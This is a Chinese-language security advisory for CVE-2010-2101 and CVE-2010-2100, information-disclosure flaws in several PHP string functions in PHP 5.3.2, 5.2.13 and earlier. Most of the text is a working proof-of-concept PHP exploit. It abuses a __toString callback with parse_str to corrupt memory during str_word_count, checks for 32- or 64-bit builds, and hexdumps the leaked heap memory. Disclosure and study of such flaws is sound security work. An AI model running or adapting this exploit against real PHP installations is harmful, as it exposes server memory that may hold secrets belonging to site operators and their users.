CVE ID: CVE-2010-2101
CVE ID: CVE-2010-2100
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的str_pad()函数、str_word_count()函数、wordwrap()函数、strtok()函数、setcookie()函数、strip_tags()函数、strtr()函数中存在信息泄露漏洞
PHP <= 5.3.2
PHP <= 5.2.13
临时解决方法:
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
<?php
class charlist
{
function __toString()
{
$ret = '';
for ($i=0; $i<=255; $i++) $ret .= chr($i);
/* now the magic */
parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
return $ret;
}
}
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$GLOBALS['var'] = str_repeat("A", 39);
} else {
$GLOBALS['var'] = str_repeat("A", 67);
}
/* Trigger the Code */
$x = str_word_count(&$GLOBALS['var'], 1, new charlist());
hexdump($x);
/* Helper function */
function hexdump($x)
{
$l = strlen($x);
$p = 0;
echo "Hexdump\n";
echo "-------\n";
while ($l > 16) {
echo sprintf("%08x: ",$p);
for ($i=0; $i<16; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
echo " ";
for ($i=0; $i<16; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? '.' : chr($c);
}
$l-=16;
$p+=16;
echo "\n";
}
if ($l > 0)
echo sprintf("%08x: ",$p);
for ($i=0; $i<$l; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
for ($i=0; $i<16-$l; $i++) { echo "-- "; }
echo " ";
for ($i=0; $i<$l; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? '.' : chr($c);
}
echo "\n";
}
?>